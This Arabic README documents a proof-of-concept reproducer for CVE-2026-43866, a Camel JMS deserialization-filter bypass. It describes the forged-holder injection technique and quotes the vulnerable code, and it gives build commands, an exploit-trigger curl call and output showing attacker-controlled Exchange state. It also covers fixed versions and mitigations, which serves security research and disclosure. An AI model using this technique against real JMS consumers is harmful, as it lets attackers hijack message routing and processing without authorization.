
أداة إعادة إنتاج لـ CVE-2026-43866 — تجاوز Apache Camel camel-jms لمرشح إلغاء التسلسل الخاص بـ CVE-2026-40860 عبر DefaultExchangeHolder مزوّر (حقن حالة التبادل)
يعرض هذا المشروع CVE-2026-43866، وهو تجاوز لإصلاح CVE-2026-40860 في مكوّني camel-jms (وcamel-sjms / عائلة JMS) في Apache Camel. كان CVE-2026-40860 قد أضاف قائمة سماح للفئات بعد إزالة التسلسل (java.**;javax.**;org.apache.camel.**;!*) إلى حمولات ObjectMessage الواردة عبر JMS. لكن org.apache.camel.support.DefaultExchangeHolder يقع ضمن نطاق org.apache.camel.** المسموح به، لذا فإن أي ObjectMessage يكون كائنها الأعلى هو DefaultExchangeHolder يجتاز الفحص. بعدها يستدعي الجانب المستقبِل DefaultExchangeHolder.unmarshal() عليه دون اشتراط transferExchange — فيكتب كل حقل غير فارغ من الحامل في Exchange المُوجَّه (body، ترويسات IN/OUT، خصائص Exchange، المتغيرات، معرّف Exchange، الاستثناء). وهكذا يستطيع مهاجم قادر على نشر ObjectMessage أن يحقن حالة Exchange اعتباطية باستخدام أنواع java.* الموثوقة عالميًا فقط — دون الحاجة إلى سلسلة أدوات إلغاء تسلسل (gadget chain) — للتلاعب بالتوجيه والترويسات والخصائص ومعالجة الأخطاء.
الاستشارة الأمنية: https://camel.apache.org/security/CVE-2026-43866.html
// JmsBinding.extractBodyFromJms(...) - affected 4.18.2
if (message instanceof ObjectMessage objectMessage) {
Object payload = objectMessage.getObject();
checkDeserializedClass(payload); // CVE-2026-40860 allow-list: java.**;javax.**;org.apache.camel.**;!*
if (payload instanceof DefaultExchangeHolder holder) { // <-- DefaultExchangeHolder is org.apache.camel.** -> passes
DefaultExchangeHolder.unmarshal(exchange, holder); // <-- writes forged state into the Exchange; NO transferExchange gate
Map<String, Object> jmsHeaders = extractHeadersFromJms(message, exchange);
exchange.getIn().getHeaders().putAll(jmsHeaders);
return exchange.getIn().getBody();
} else {
return payload;
}
}
عدم التماثل هنا: الجانب المرسِل يقيّد إنشاء ObjectMessage/transferExchange، لكن الجانب المستقبِل يلغي تسلسل أي DefaultExchangeHolder يصله. يضيف الإصلاح (4.14.8 / 4.18.3 / 4.21.0) خيارًا جديدًا باسم objectMessageEnabled (security = "insecure:serialization"، الافتراضي false) — فلا تتم إعادة تشكيل أي ObjectMessage وارد ما لم يُفعَّل الخيار صراحةً، وبذلك لا يمكن لحامل مزوّر أن يبلغ unmarshal() أبدًا. (وهذا تغيير جذري للمسارات التي تعتمد على ObjectMessage / transferExchange.)
قائمة السماح على مستوى مزوّد JMS لا تنفع. يضبط هذا المثال البرهاني (PoC) عميل ActiveMQ بقائمة
trustedPackages = [java, javax, org.apache.camel]واقعية ومُحكَمة — ومدخلorg.apache.camelهو بالضبط ما يجب أن تثق به أي بيئة تستخدمtransferExchangeشرعيًا. ومع ذلك يجتاز الحامل المزوّر الفحص، لأنه بحد ذاتهDefaultExchangeHolderحقوله كلها أنواعjava.*موثوقة، ولا يمكن تمييزه عن الحامل الشرعي.
from("jms:queue:cve") // mapJmsMessage defaults to true; transferExchange NOT set
.process(exchange -> { /* observes the injected body / headers / properties */ });
الضحية هي مُستهلك Camel JMS. المهاجم هو أي منتج يمكنه النشر في قائمة الانتظار. كلاهما يتواصل مع وسيط Apache ActiveMQ Artemis حقيقي يعمل داخل Docker.
CVE-2026-43866/
├── pom.xml # camel-jms 4.18.2 + activemq-client 6.2.4 (NO gadget library)
├── Dockerfile # runs the app (no --add-opens; no gadget)
├── docker-compose.yml # Artemis broker (quay.io) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── JmsConfig.java # OpenWire ConnectionFactory (trustedPackages incl. org.apache.camel) + jms component
│ ├── VictimRoute.java # victim: from("jms:queue:cve"); records what the route observed
│ ├── CapturedState.java
│ ├── ForgedHolderFactory.java # builds a DefaultExchangeHolder via the public marshal() API
│ └── ExploitController.java # attacker: publishes the forged holder as an ObjectMessage
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Published a forged DefaultExchangeHolder as a JMS ObjectMessage to queue 'cve'.
# ...
# body = INJECTED-BODY-... (injected: true)
# header = pwned-header-... (injected: true)
# property = pwned-property-... (injected: true)
#
# >>> Exchange-state injection proof — attacker controlled body+header+property: true
سار المسار بـ body وترويسة وخاصية لم يضبطها أبدًا — كلها مقدَّمة من الحامل المزوّر الذي أرسله المهاجم.
docker compose down
أي مُستهلك Camel JMS (camel-jms, camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) مع mapJmsMessage=true (الافتراضي)، يقرأ من وجهة يمكن لمهاجم النشر إليها. لا يلزم تفعيل transferExchange على المُستهلك.
mapJmsMessage=true (افتراضي)، على إصدار متأثر.ObjectMessage حمولتها DefaultExchangeHolder في قائمة الانتظار.transferExchange، أن المزوّد يثق بالفعل بـ org.apache.camel. لا حاجة إلى أي مكتبة أدوات (gadget library).الترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23373 / CAMEL-23409). معالجة ObjectMessage في JMS معطَّلة افتراضيًا عبر الخيار الجديد objectMessageEnabled؛ لا تُفعِّله إلا مع وجهات تغذّيها منتجون موثوقون حصريًا.
إلى حين الترقية:
ObjectMessage إلى شبكات غير موثوقة.DefaultExchangeHolder).هذه الأداة مُقدَّمة للبحث الأمني والاختبار المصرَّح به فقط، ولثغرة مُعلَنة ومُصحَّحة. لا تستخدمها ضد أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكونات | camel-jms (+ camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) |
| الفئة المتأثرة | org.apache.camel.component.jms.JmsBinding#extractBodyFromJms → DefaultExchangeHolder.unmarshal |
| CWE | CWE-502 (إلغاء تسلسل بيانات غير موثوقة) + CWE-20 (تحقق غير سليم من المدخلات) |
| الأثر | حقن حالة Exchange: body وترويسات وخصائص ومتغيرات واستثناء يتحكم بها المهاجم |
| الطبيعة | تجاوز لإصلاح مرشِّح الفئات الخاص بـ CVE-2026-40860 (وليس عيبًا فيه) |
| الإصدارات المتأثرة | من 3.0.0 حتى ما قبل 4.14.8، ومن 4.15.0 حتى ما قبل 4.18.3، ومن 4.19.0 حتى ما قبل 4.21.0 |
| الإصدارات المُصحَّحة | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23373 (jms), CAMEL-23409 (sjms) |
| المبلِّغ | gaorenyusi |